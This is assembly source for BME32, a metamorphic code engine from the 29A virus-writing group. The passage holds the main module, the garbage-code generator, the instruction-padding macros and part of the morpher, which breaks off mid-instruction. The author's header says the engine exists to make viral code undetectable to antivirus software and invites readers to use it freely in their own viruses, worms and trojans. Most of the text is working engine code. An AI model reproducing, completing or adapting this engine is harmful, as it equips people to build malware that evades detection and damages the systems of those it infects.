ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BME32.ASM]ÄÄÄ COMMENT & ========================================================================== ========================================================================== ================== Benny's Metamorphic Engine for Win32 ================== ============================= (BME32 beta 1) ============================= ========================================================================== Lemme introduce you my metamorphic engine, called BME32. Although its not finished (becoz of lack of time) it shows an interesting way how to realise the metamorphic idea. Some readerz may remember the article I wrote about metamorphism in 29A#4. There I tried to explain my idea how should good meta-engine work. I tried to code it many timez and every time I didn't succeeded. Why? Becoz of complexity of the concept. Let's resume the original concept. Good meta-engine should be able to: 1) expand single instructionz to complex set of instructionz that does the same thing as the original e.g. STOSD -> MOV [EDI],EAX ADD EDI,4 2) shrink known sets of instructionz to single instruction (reverse action of expanding) e.g. MOV [EDI],EAX -> STOSD ADD EDI,4 3) insert garbage code among instructionz e.g. CALL @1 JMP @2 @1: RET @2: ... 4) relocate ALL relativitiez (pointerz, jumpz, etc...) Well, what was the problem? For me VERY BIG problem was the last point (4). I wasn't able to code such complex engine that could be able to deal with it. The last point always brought the biggest problemz so I decided to solve it another way. I solved it in this engine :-) All instructionz in the code has the constant length (ten bytez, if the instruction aint so long, the rest is filled with garbage code) and so the (4) point is solved - very easily and effectively. So, what's the result? This engine can work with specialy prepared code, supportz even unknown instructionz, garbage routinez, shrinker and expander. Here follows the algorithm of the engine: assumptionz: (1) ESI = offset of i/o buffer, ECX = length, EBP = delta offset (2) ECX mod 10 = 0 (3) no self-modifying code and hardcodez (4) D flag MUST be set to 0 by default (no use of STD instruction) (5) all instructionz has fixed length (macroz in macros.inc) (6) random number generator is already initialized by the RANDOMIZE procedure algorithm: (1) 1:2 instruction will be morphed (if not, goto (3) label) (2) read and analyse instruction (if its known instruction then (a) randomly shrink/expand the instruction (b) put random garbage code after the morphed instruction, if there's a place (3) if it's unknown instruction then skip 10 bytez (4) ECX -= 10 AND goto (1) ------------------------------------------------------------------------ Expander: -----> MOV(2*) EAX,EDX PUSH EDX MOV(1*) EAX,EDX -----> XCHG EAX,EDX POP EDX PUSH EDX -----> POP EAX ------------------------------------------------------------------------ Shrinker: MOV(2*) EAX,EDX (1) -----> PUSH EDX XCHG EAX,EDX (2) -----> MOV(1*) EAX,EDX POP EDX PUSH EDX POP EAX (3) -----> ------------------------------------------------------------------------ *) x-86 opcode table containz 2 versionz of MOV opcode. 1) reg1->reg2 1000 100w : 11 reg1 reg2 2) reg2->reg1 1000 101w : 11 reg1 reg2 Becoz of some not very competent human inside Intel ONE instruction can be written by many opcodez. Thnx for that :-) ------------------------------------------------------------------------ Easy, eh? :) This engine ain't completely finished, but it has a very solid sceleton. If you want to re-use my code for your own engine, ALL you need to finish is support for more instructionz - see "instructionz" label. There you only need to add new record for shrinking/expanding and add the shrinker/expander code to morpher.inc. That's all. This engine can work well anyway, if the morpher cannot handle the found instruction, it simply skipz over it - so, this engine can morph all known instructionz and those unknown will keep as they are (detection is very easy then). Nevertheless, I think that if someone would implement ALL needed instructionz, the engine would cause *some* problemz to AVerz :) One problem is with constant part of the engine, the non-code bytez. My idea how to solve it follows: assumptionz: (1) we have BME32 ;-) (2) we have decryptor code, after which follows the buffer with code (containing some virus together with whole BME32) algorithm: (1) create random key and store it to decryptor code (2) morph the code inside buffer by BME32 (3) encrypt buffer with random key (4) morph the decryptor by BME32 The result of this is that we have RANDOM decryptor - after decryption we have unencrypted RANDOM viral code. ABSOLUTELLY NO CONSTANT CODE. If nothing more, then the result is at least pretty advanced polymorphic code ;-) THIS CODE IS CREDITWARE - You can freely use the code placed below in your own viral malware (virus, worm, trojan...) without paying. All you have to do is just place creditz in the source code :-) The source consists of 5 modulez: bme32.asm (this/main source) macros.inc (macro deffinitionz for instruction alignment) morpher.inc (code of metamorpher) garbager.inc (code of garbager) random.inc (code of pseudo-random number generator) win32api.inc (standard 29A include file) useful.inc (---------- " " ----------) NOTE: Code ain't optimized much - that's becoz of the meta-featurez. Such un-optimized instructionz are easier handled by metamorphic engine... Enjoy the code! .................................................... . Benny / 29A . benny@post.cz . http://benny29a.cjb.net . ... perfectionist, maximalist, idealist, dreamer ... & .386p .model flat include win32api.inc include useful.inc include macros.inc ;include macro declarationz MAXINSTRLENGTH equ 10 ;size of one instruction .data metabuffer db end_morphing-Start dup (?) ;buffer for code .code Start: i1 pushad SEH_SetupFrame i2 call gdelta gdelta: i3 mov ebp,[esp] i3 add ebp,MAXINSTRLENGTH-5 ;get delta offset to EBP i3 sub esp,4 i2 call RANDOMIZE ;initialize random-engine i3 lea esi,[ebp+Start-gdelta] ;start of code i3 mov ecx,end_morphing-Start ;length of code i3 lea edi,metabuffer ;destination i2 push edi i2 push ecx i2 rep movsb ;copy code to buffer i2 pop ecx i2 pop esi i2 call BME32 ;and morph code inside buffer i1 popad end_seh: SEH_RemoveFrame i2 push 0 i2 invoke ExitProcess ;quit... ;======================================================================================== ;======================================================================================== ;========================= Benny's Metamorphic Engine for Win32 ========================= ;==================================== (BME32 beta 1) ==================================== ;======================================================================================== ; ;INPUT: ; ESI - ptr to code prepared for meta-morphing ; ECX - length of the code ; EBP - proper delta offset ; ;OUTPUT: ; morpher instructionz in the specified buffer ; ;======================================================================================== BME32 Proc ;BME32 starts here... i2 pushad i2 call RANDOM2 ;get rnd number - <0,1> i2 dec eax ;i2 je skip_BME32 ;*********** ;dont morph this instruction i3 xor ecx,ecx i2 call MORPHER ;morph instruction i2 jecxz skip_BME32 ;-> instruction couldnt be morphed i3 add esi,MAXINSTRLENGTH ;get to next instruction i2 call GARBAGER ;insert garbage code end_BME32: i3 mov [esp.Pushad_esi],esi i1 popad i3 sub ecx,MAXINSTRLENGTH ;decrease counter at one instruction i2 jecxz e_BME32 i2 jmp BME32 e_BME32: i1 ret skip_BME32: i3 add esi,MAXINSTRLENGTH ;next instruction i2 jmp end_BME32 include garbager.inc ;garbager routinez include morpher.inc ;morpher routinez include random.inc ;rnd-engine routinez end_morphing: ;do not morph instructionz below this signature db 0,'[BME32]',0 ;little signature :-) garbage_wrap: ;addresses of garbager routinez dd offset e_GRB-offset gdelta dd offset GRB1-offset gdelta dd offset GRB2-offset gdelta dd offset GRB3-offset gdelta dd offset GRB4-offset gdelta dd offset GRB5-offset gdelta dd offset GRB6-offset gdelta dd offset GRB7-offset gdelta dd offset GRB8-offset gdelta dd offset GRB9-offset gdelta grb1: nop ;single-byte garbage code cld cs: ds: es: fs: grb2: pushfd ;2-byte garbage code popfd pushad popad push eax pop eax push ebx pop ebx push ecx pop ecx push edx pop edx push esp pop esp push ebp pop ebp push esi pop esi push edi pop edi mov eax,eax mov ebx,ebx mov ecx,ecx mov edx,edx mov ebp,ebp mov esi,esi mov edi,edi xchg ebx,ebx xchg ecx,ecx xchg edx,edx xchg ebp,ebp xchg esi,esi xchg edi,edi jmp $+2 dw 9066h dw 9067h dw 0FC66h dw 0FC67h grb3: xor eax,0 add eax,0 sub eax,0 or eax,0 and eax,-1 grb6: db 81h,0C0h,0,0,0,0 ;add eax,0 db 81h,0C8h,0,0,0,0 ;or eax,0 db 81h,0E0h,-1,-1,-1,-1 ;and eax,-1 db 81h,0E8h,0,0,0,0 ;sub eax,0 db 81h,0F0h,0,0,0,0 ;xor eax,0 ;the list of supported instructionz: ;syntax: ; ;==repeat== ; DD offset of the proper instruction morpher routine MINUS delta offset ;--repeat-- ; DB offset of byte inside instruction (if signed, byte is variable <0,7> ; (e.g. register)) ; DB byte inside instruction ;--repeat-- ; ... ; NULL ;==repeat== ; ... ; NULL instructionz: ;shrinker part dd offset shr_pushad-offset gdelta db 1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0 dd offset shr_popad-offset gdelta db 1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0 dd offset shr_movexx-offset gdelta db -1,0B8h,6,0F7h,-7,0D0h,0 dd offset shr_movexx-offset gdelta db -1,0B8h,6,0F7h,-7,0D8h,0 dd offset shr_movexx2-offset gdelta db 1,0C7h,-2,0C0h,0 dd offset shr_ljmp1-offset gdelta db 1,0E9h,0 dd offset shr_ljmp2-offset gdelta db 1,0EBh,2,02h,3,0EBh,5,0EBh,6,-4,0 dd offset shr_ljmp3-offset gdelta db 1,0EBh,2,05h,3,0E9h,8,0EBh,9,-7,0 dd offset shr_sjxx1-offset gdelta db 1,0Fh,-2,80h,0 dd offset shr_sjxx1-offset gdelta db 1,0Fh,-2,88h,0 dd offset shr_sjxx2-offset gdelta db -1,70h,2,05h,3,0E9h,0 dd offset shr_sjxx2-offset gdelta db -1,78h,2,05h,3,0E9h,0 dd offset shr_sjxx3-offset gdelta db -1,70h,2,02h,3,0EBh,0 dd offset shr_sjxx3-offset gdelta db -1,78h,2,02h,3,0EBh,0 dd offset shr_ret-offset gdelta db 1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0 dd offset shr_ret-offset gdelta db 1,83h,2,0ECh,3,0FCh,4,0FFh,5,64h,6,24h,7,0FCh,0 dd offset shr_retx-offset gdelta db 1,83h,2,0C4h,4,0FFh,5,64h,6,24h,0 dd offset shr_retx-offset gdelta db 1,83h,2,0ECh,4,0FFh,5,64h,6,24h,0 dd offset shr_inc-offset gdelta db 1,83h,-2,0C0h,0 dd offset shr_dec-offset gdelta db 1,83h,-2,0E8h,0 dd offset shr_call-offset gdelta db -1,50h,-2,58h,3,0E8h,0 dd offset shr_jecxz1-offset gdelta db 1,85h,2,0C9h,3,74h,0 dd offset shr_jecxz2-offset gdelta db 1,85h,2,0C9h,3,0Fh,4,84h,0 dd offset shr_stosb-offset gdelta db 1,88h,2,07h,3,47h,0 dd offset shr_stosb-offset gdelta db 1,66h,2,0AAh,0 dd offset shr_stosw-offset gdelta db 1,66h,2,89h,3,07h,4,83h,5,0C7h,6,02h,0 dd offset shr_stosd-offset gdelta db 1,89h,2,07h,3,83h,4,0C7h,5,04h,0 dd offset shr_lodsb-offset gdelta db 1,8Ah,2,06h,3,46h,0 dd offset shr_lodsd-offset gdelta db 1,8Bh,2,06h,3,83h,4,0C6h,5,04h,0 dd offset shr_pushexx-offset gdelta db 1,0FFh,-2,0F0h,0 dd offset shr_popexx-offset gdelta db 1,08Fh,-2,0C0h,0 ;expander part dd offset exp_pushad-offset gdelta db 1,60h,0 dd offset exp_popad-offset gdelta db 1,61h,0 dd offset exp_movexx-offset gdelta db -1,0B8h,0 dd offset exp_inc-offset gdelta db -1,40h,0 dd offset exp_dec-offset gdelta db -1,48h,0 dd offset exp_ljmp-offset gdelta db 1,0E9h,0 dd offset exp_sjmp-offset gdelta db 1,0EBh,0 dd offset exp_sjxx-offset gdelta db -1,70h,0 dd offset exp_sjxx-offset gdelta db -1,78h,0 dd offset exp_ret-offset gdelta db 1,0C3h,0 dd offset exp_retx-offset gdelta db 1,0C2h,0 dd offset exp_call-offset gdelta db 1,0E8h,0 dd offset exp_jecxz-offset gdelta db 1,0E3h,0 dd offset exp_addeax-offset gdelta db 1,05h,0 dd offset exp_subeax-offset gdelta db 1,2Dh,0 dd offset exp_add-offset gdelta db 1,81h,-2,0C0h,0 dd offset exp_sub-offset gdelta db 1,81h,-2,0E8h,0 dd offset shr_incb-offset gdelta db 1,80h,-2,0C0h,0 dd offset shr_decb-offset gdelta db 1,80h,-2,0E8h,0 dd offset exp_stosb-offset gdelta db 1,0AAh,0 dd offset exp_stosw-offset gdelta db 1,66h,2,0ABh,0 dd offset exp_stosd-offset gdelta db 1,0ABh,0 dd offset exp_lodsb-offset gdelta db 1,0ACh,0 dd offset exp_lodsd-offset gdelta db 1,0ADh,0 dd offset exp_pushexx-offset gdelta db -1,50h,0 dd offset exp_popexx-offset gdelta db -1,58h,0 dd offset exp_mov-offset gdelta db 1,88h,0 ;byte reg dd offset exp_mov-offset gdelta db 1,89h,0 ;dword reg dd offset exp_mov-offset gdelta db 1,8Ah,0 ;byte reg dd offset exp_mov-offset gdelta db 1,8Bh,0 ;dword reg end_virus: dd ? ;end of record rnd32_seed dd ? ;random seed variable BME32 EndP ;...BME32 endz here ;======================================================================================== ;======================================================================================== ;======================================================================================== ;======================================================================================== virtual_end: ends End Start ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BME32.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GARBAGER.INC]ÄÄÄ GARBAGER Proc ;start of garbager code i1 pushad i3 mov edi,esi i3 sub edi,ecx i3 mov eax,[ebp+garbage_wrap-gdelta+(ecx*4)] i3 add eax,ebp i2 call eax ;call routine in dependency of the length end_GARBAGER: i1 popad e_GRB: i1 ret GRB9: ;9-byte garbage i2 push 2 i2 call RANDOM ;get rnd number <0,1> i2 dec eax i2 je @grb91 i2 call GRB1 i2 jmp GRB8 @grb91: i2 call GRB8 i2 jmp GRB1 GRB8: ;8-byte garbage i2 push 2 i2 call RANDOM ;get rnd number <0,1> i2 dec eax i2 je @grb81 i3 mov eax,02E8h ;create CALL @1 i1 stosd ; JMP @2 i3 mov eax,0C301EB00h ;@1: RET i1 stosd ;@2: ... i1 ret @grb81: i2 call GRB4 i2 jmp GRB4 GRB7: ;7-byte garbage i2 push 4 i2 call RANDOM ;get rnd number <0,3> i2 dec eax i2 je @grb71 i2 dec eax i2 je @grb72 i2 dec eax i2 je @grb73 i2 call GRB3 i2 jmp GRB4 @grb71: i2 call GRB6 i2 jmp GRB1 @grb72: i2 call GRB1 i2 jmp GRB6 @grb73: i2 call GRB4 i2 jmp GRB3 GRB6: ;6-byte garbage i2 push 5 i2 call RANDOM ;get rnd number <0,3> i2 dec eax i2 je @grb61 i2 dec eax i2 je @grb62 i2 dec eax i2 je @grb63 i2 dec eax i2 je @grb64 i3 mov eax,02EB02EBh ;create JMP @1 i1 stosd ;@3: JMP @2 i3 mov al,0EBh ;@1: JMP @3 i1 stosb ;@2: ... i3 mov al,-4 i1 stosb i1 ret @grb61: i2 call GRB5 i2 jmp GRB1 @grb62: i2 call GRB1 i2 jmp GRB5 @grb63: i2 call GRB3 i2 jmp GRB3 @grb64: i2 push 5 i2 call RANDOM i3 imul eax,6 i3 lea esi,[ebp+grb6-gdelta+eax] i1 movsb i2 push 8 i2 call RANDOM i3 xchg eax,edx i1 lodsb i3 add al,dl i1 stosb i1 movsd i1 ret GRB5: ;5-byte garbage i2 push 3 i2 call RANDOM ;get rnd number <0,2> i2 dec eax i2 je @grb51 i2 dec eax i2 je @grb52 i3 mov eax,0E9h i1 stosd i3 xor eax,eax i1 stosb i1 ret @grb52: i2 call GRB4 i2 jmp GRB1 @grb51: i2 call GRB1 i2 jmp GRB4 GRB4: ;4-byte garbage i2 push 4 i2 call RANDOM ;get rnd number <0,3> i2 dec eax i2 je @grb41 i2 dec eax i2 je @grb42 i2 dec eax i2 je @grb43 i3 mov al,0EBh ;create JMP @1 i1 stosb ; DW XXXX i3 mov al,2 ;@1: ... i1 stosb i2 push -1 i2 call RANDOM ;get rnd number <0,0FFFFFFFFh> i1 stosw i1 ret @grb41: i2 call GRB2 i2 jmp GRB2 @grb42: i2 call GRB1 i2 jmp GRB3 @grb43: i2 call GRB3 i2 jmp GRB1 GRB3: ;3-byte garbage i2 push 5 i2 call RANDOM ;get rnd number <0,3> i2 dec eax i2 je @grb31 i2 dec eax i2 je @grb32 i2 dec eax i2 je @grb33 i2 dec eax i2 je @grb34 i3 mov al,0EBh ;create JMP @1 i1 stosb ; DB XX i3 mov al,1 ;@1: ... i1 stosb i2 push -1 i2 call RANDOM ;get rnd number <0,0FFFFFFFFh> i1 stosb i1 ret @grb31: i2 call GRB1 i2 call GRB1 i2 jmp GRB1 @grb32: i2 call GRB2 i2 jmp GRB1 @grb33: i2 call GRB1 i2 jmp GRB2 @grb34: i2 push 5 i2 call RANDOM i3 imul eax,3 i3 lea esi,[ebp+grb3-gdelta+eax] i1 movsb i2 push 8 i2 call RANDOM i3 xchg eax,edx i1 lodsb i3 add al,dl i1 stosb i1 movsb i1 ret GRB2: ;2-byte garbage i2 push 2 i2 call RANDOM ;get rnd number <0,1> i2 dec eax i2 je @grb2 i2 call GRB1 i2 jmp GRB1 @grb2: i2 push 28 i2 call RANDOM ;get rnd number <0,27> i3 lea esi,[ebp+grb2-gdelta+(eax*2)] i1 movsw ;copy 2 bytez i1 ret GRB1: i2 push 6 i2 call RANDOM ;get rnd number <0,5> i3 lea esi,[ebp+grb1-gdelta+eax] i1 movsb ;copy 1 byte i1 ret GARBAGER EndP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GARBAGER.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MACROS.INC]ÄÄÄ invoke macro api ;macro for API callz extrn api:PROC call api endm i2o1 macro code1,code2,over1,over2,code3 local s,e,ee s: code1 code2, over1 over2 code3 ;e.g. MOVZX EAX,byte ptr [EDI] e: db MAXINSTRLENGTH-(e-s) dup (90h) endm i1o2 macro code1,over1,over2,code2,code3 local s,e,ee s: code1 over1 over2 code2,code3 ;e.g. MOV byte ptr [EDI],3 e: db MAXINSTRLENGTH-(e-s) dup (90h) endm i1o1 macro code1,over1,over2,code2 local s,e,ee s: code1 over1 over2 code2 ;e.g. INC dword ptr [ESP] e: db MAXINSTRLENGTH-(e-s) dup (90h) endm i3 macro code1,code2,code3 local s,e,ee s: code1 code2,code3 ;e.g. MOV EAX,EBX e: db MAXINSTRLENGTH-(e-s) dup (90h) endm i2 macro code1,code2 local s,e,ee s: code1 code2 ;e.g. INC EAX e: db MAXINSTRLENGTH-(e-s) dup (90h) endm i1 macro code1 local s,e,ee s: code1 ;e.g. STOSD e: db MAXINSTRLENGTH-(e-s) dup (90h) endm SEH_SetupFrame macro ExceptionHandler local set_new_eh i2 call set_new_eh i3 mov esp,[esp.EH_EstablisherFrame] ExceptionHandler set_new_eh: i3 xor edx,edx i1o1 push dword ptr fs:[edx] i3 mov fs:[edx],esp endm SEH_RemoveFrame macro i3 xor edx,edx i1o1 pop dword ptr fs:[edx] i2 pop edx endm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MACROS.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MORPHER.INC]ÄÄÄ MORPHER Proc ;start of morpher code i1 pushad i3 lea edi,[ebp+instructionz-gdelta] ;ptr to list of supported instructionz i3 xchg esi,edi analyse_instruction: i1 lodsd ;get ptr to morpher routine i3 test eax,eax i2 je end_MORPHER ;quit if NULL i3 add eax,ebp ;normalize i3 xchg eax,edx ;to EDX... explore_instruction: i3 xor eax,eax i1 lodsb ;get the counter-byte i3 test al,al i2 je end_instruction ;finish if end of instruction i2 js sign_test ;correct valuez if signed i2 push edi i2 dec eax i3 add edi,eax i1 cmpsb ;compare one byte i2 pop edi i2 je explore_instruction ;if matchez, continue next_instruction: i1 lodsb i3 test al,al i2 jne next_instruction ;go to the end of instruction i2 jmp analyse_instruction ;and analyse next instruction sign_test: i2 push edi i2 neg al ;un-sign i2 dec eax i3 add edi,eax i1 lodsb i3 mov bl,[edi] ;read one byte i3 and bl,-8 ;convert EXX -> EAX i3 cmp al,bl ;and compare bytez i2 pop edi i2 je explore_instruction ;if matchez, compare next bytez i2 jmp next_instruction ;if not, go to next instruction end_instruction: i3 mov edi,[esp.Pushad_esi] i2 push edi i2 call edx ;call the instruction-morpher-handler i2 pop ecx i3 sub ecx,edi ;move count of written bytez to ECX i2 jecxz e_morpher i3 add ecx,MAXINSTRLENGTH ;normalize e_morpher: i3 mov [esp.Pushad_ecx],ecx ;save it end_MORPHER: i1 popad i1 ret ;--------------------------------------- ;instruction handler syntax: ; ;input: EDI - offset of instruction ;output: [EDI] - new instruction ; ;--------------------------------------- ;shr_XXX: ;shrinker code ; ;... ; ;ret ; ;--------------------------------------- ;exp_XXX: ;expander code ; ;... ; ;ret ; ;--------------------------------------- ;-------- PUSHAD -------- shr_pushad: i3 mov al,60h ;write single PUSHAD opcode stosb_ret: i1 stosb i1 ret exp_pushad: i2 push 8 ;write PUSH EAX i2 pop ecx ; PUSH ECX i3 mov al,50h ; ... l_pushad2: ; PUSH EDI i1 stosb i2 inc eax i2 loop l_pushad2 i1 ret ;-------- POPAD -------- shr_popad: i3 mov al,61h ;write single POPAD opcode i2 jmp stosb_ret exp_popad: i2 push 8 ;write POP EDI i2 pop ecx ; POP ESI i3 mov al,5Fh ; ... l_popad2: ; POP EAX i1 stosb i2 dec eax i2 loop l_popad2 i1 ret ;-------- MOV EXX,XXXXXXXX -------- shr_movexx: i3 mov al,[edi] ;shrink to original state i1 stosb i3 mov eax,[edi] i2o1 movzx ecx,byte ptr [edi+5] i3 and cl,8 i2 jecxz l_movexx3 i2 neg eax stosd_ret: i1 stosd i1 ret l_movexx3: i2 not eax i2 jmp stosd_ret shr_movexx2: i3 mov al,[edi+1] i3 add al,0B8h-0C0h i1 stosb i3 mov eax,[edi+1] i2 jmp stosd_ret exp_movexx: i3 mov al,[edi] i2 push eax i1 stosb i2 push 3 i2 call RANDOM ;get rnd number <0,1> i1 cdq i2 dec eax i2 je l_movexx1 i2 dec eax i2 je l_movexx5 i3 mov eax,[edi] ;create MOV EXX,not XXXXXXXX i2 not eax ; NOT EXX l_movexx2: i1 stosd i3 mov al,0F7h i1 stosb i2 pop eax i3 add al,0D0h-0B8h i3 add al,dl i2 jmp stosb_ret l_movexx1: ;create MOV EXX,-XXXXXXXX i3 mov eax,[edi] ; NEG EXX i2 neg eax i3 add dl,8 i2 jmp l_movexx2 l_movexx5: i2 dec edi ;create MOv EXX,XXXXXXXXh i3 mov al,0C7h ; (larger variant) i1 stosb i2 pop eax i3 add al,0C0h-0B8h i3 mov ebx,[edi] i1 stosb i3 xchg eax,ebx i2 jmp stosd_ret ;-------- INC EXX/XX -------- shr_incb: i3 mov cl,80h ;shrink to INC XX i2 jmp @shr_inc shr_inc: i3 mov cl,83h ;shrink to INC EXX @shr_inc: i3 mov al,[edi+1] i3 lea edx,[edi+2] i1o2 cmp byte ptr [edx],1 i2 je shr_inc1 i1o2 cmp byte ptr [edx],-1 i2 je shr_inc2 i3 mov [edi],cl i2 inc edi i3 add al,0e8h-0c0h @exp_subs: i1 stosb i1o1 neg byte ptr [edx] i2 inc edi i1 ret shr_inc1: i3 cmp cl,83h i2 jecxz shr_inc1x i3 mov al,0FEh i1 stosb shr_inc1x: i3 add al,40h-0C0h i2 jmp stosb_ret shr_inc2: i3 cmp cl,83h i2 jecxz shr_inc2x i3 mov al,0FEh i1 stosb shr_inc2x: i3 add al,48h-0C0h i2 jmp stosb_ret exp_inc: i3 mov al,[edi] i2 push eax i3 mov al,83h i1 stosb i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 pop eax i2 je l_inc1 i3 add al,0C0h-40h ;create ADD EXX,1 l_dec2: i1 stosb i3 mov al,1 i2 jmp stosb_ret l_inc1: i3 add al,0E8h-40h ;create SUB EXX,-1 l_dec3: i1 stosb i3 mov al,-1 i2 jmp stosb_ret ;-------- DEC EXX -------- shr_decb: i3 mov cl,80h ;shrink to DEC XX i2 jmp @shr_dec shr_dec: i3 mov cl,83h ;shrink to DEC EXX @shr_dec: i3 mov al,[edi+1] i3 lea edx,[edi+2] i1o2 cmp byte ptr [edx],1 i2 je shr_dec1 i1o2 cmp byte ptr [edx],-1 i2 je shr_dec2 i2 inc edi i3 add al,0c0h-0e8h i2 jmp @exp_subs shr_dec1: i3 add al,48h-0E8h i2 jmp stosb_ret shr_dec2: i3 add al,40h-0E8h i2 jmp stosb_ret exp_dec: i3 mov al,[edi] i2 push eax i3 mov al,83h i1 stosb i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 pop eax i2 je l_dec1 i3 add al,0E8h-48h ;create SUB EXX,1 i2 jmp l_dec2 l_dec1: i3 add al,0C0h-48h ;create ADD EXX,-1 i2 jmp l_dec3 ;test if JUMP can be enshorted. ;input: EAX - displacement ;output: CF set - displacement is too big for enshortment test_jmp Proc i3 mov edx,eax i3 xor dl,dl i3 cmp edx,0FFFFFF00h i2 je l_test_jmp i3 test edx,edx i2 jne e_test_jmp i3 test al,al i2 js e_test_jmp i2 jmp ok_test_jmp l_test_jmp: i3 test al,al i2 jns e_test_jmp ok_test_jmp: i1 clc i1 ret e_test_jmp: i1 stc i1 ret test_jmp EndP ;-------- JMP LARGE XXXXXXXX -------- shr_ljmp1: i3 mov eax,[edi+1] ;shrink to JMP SHORT XX i3 add eax,3 i2 call test_jmp i2 jc e_shr_ljmp ;cant shrink, quit... i3 rol eax,8 i3 mov al,0EBh stosw_ret: i1 stosw e_shr_ljmp: i1 ret shr_ljmp2: i2o1 movzx edx,byte ptr [edi+3] i3 mov esi,1 i3 mov ebx,2 @shr_ljmp3: i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @shr_ljmp2 i3 mov al,0E9h ;create JMP LARGE XXXXXXXX i1 stosb i3 xchg eax,edx i3 sub eax,esi i2 jmp stosd_ret @shr_ljmp2: i2 inc edi ;create JMP SHORT XX i3 xchg eax,edx i3 add eax,ebx i2 call test_jmp i2 jnc stosb_ret i1 ret shr_ljmp3: i3 mov esi,-2 i3 mov ebx,5 i3 mov edx,[edi+3] i2 jmp @shr_ljmp3 exp_ljmp: i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je l_exp_ljmp i3 mov eax,[edi+1] ;create JMP @1 i2 inc eax ;@2: JMP SHORT XX i2 call test_jmp ;@1: JMP @2 i2 jc l_exp_ljmp @l_exp_ljmp: i3 rol eax,24 i3 add eax,0EB02EBh i1 stosd i1 stosb i3 mov al,-4 i2 jmp stosb_ret l_exp_ljmp: i3 mov edx,[edi+1] ;create JMP @1 i3 sub edx,2 ;@2: JMP LARGE XXXXXXXX i3 mov eax,0E905EBh ;@1: JMP @2 i1 stosd i2 dec edi i3 xchg eax,edx i1 stosd i3 mov al,0EBh i1 stosb i3 mov al,-7 i2 jmp stosb_ret ;-------- JMP SHORT XX -------- exp_sjmp: i2o1 movsx edx,byte ptr [edi+1] ;create JMP LARGE XXXXXXXX i3 sub edx,3 i3 mov al,0E9h i1 stosb i3 xchg eax,edx i2 jmp stosd_ret ;-------- JX(X) SHORT XX -------- shr_sjxx1: i3 mov eax,[edi+2] ;shrink to JX(X) SHORT XX i3 add eax,4 i2 call test_jmp i2 jnc @shr_sjxx1 i1 ret @shr_sjxx1: i2 push eax i3 mov al,[edi+1] i3 add al,70h-80h i1 stosb i2 pop eax i2 jmp stosb_ret shr_sjxx2: i3 mov eax,[edi+3] ;shrink to JX(X) SHORT XX i3 add eax,5 i2 push eax i2 call test_jmp i2 jnc @shr_sjxx4 i3 mov al,0Fh i3 mov ah,[edi] i3 add ah,80h-70h i3 test ah,1 i2 jne @shr_sjxx5 i2 inc ah i2 jmp @shr_sjxx6 @shr_sjxx5: i2 dec ah @shr_sjxx6: i1 stosw i2 pop eax i3 sub eax,4 i2 jmp stosd_ret @shr_sjxx4: i3 mov al,[edi] i3 test al,1 i2 jne @shr_sjxx7 i2 inc al i2 jmp @shr_sjxx8 @shr_sjxx7: i2 dec al @shr_sjxx8: i1 stosb i2 pop eax i2 jmp stosb_ret shr_sjxx3: ;shrink to JX(X) SHORT XX i1o2 mov byte ptr [edi+1],05h i1o2 mov byte ptr [edi+2],0E9h i2o1 movzx eax,byte ptr [edi+3] i3 sub eax,3 i3 mov [edi+3],eax i2 jmp shr_sjxx2 exp_sjxx: i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je exp_sjxx1 i2o1 movzx eax,byte ptr [edi+1] i2 push eax i3 mov al,[edi] i3 test al,1 i2 je @exp_sjxx1 i2 dec al i2 jmp @exp_sjxx2 @exp_sjxx1: i2 inc al @exp_sjxx2: i1 stosb i2 call RANDOM2 ;get rnd number <0,1> i2 dec eax i2 je @exp_sjxx3 @exp_sjxx4: i3 mov al,05h ;create JX(X)' @1 i1 stosb ; JMP LARGE XXXXXXXX i3 mov al,0E9h ;@1: ... i1 stosb i2 pop eax i3 sub eax,5 i2 jmp stosd_ret @exp_sjxx3: i2 pop eax ;create JX(X)' @1 i2 push eax ; JMP SHORT XX i3 sub eax,2 ;@1: ... i2 call test_jmp i2 jc @exp_sjxx4 i3 mov al,02h i1 stosb i3 mov al,0EBh i1 stosb i2 pop eax i3 sub eax,2 i2 jmp stosb_ret exp_sjxx1: i3 mov dl,[edi] ;create JX(X) LARGE XXXXXXXX i2o1 movsx ebx,byte ptr [edi+1] i3 sub 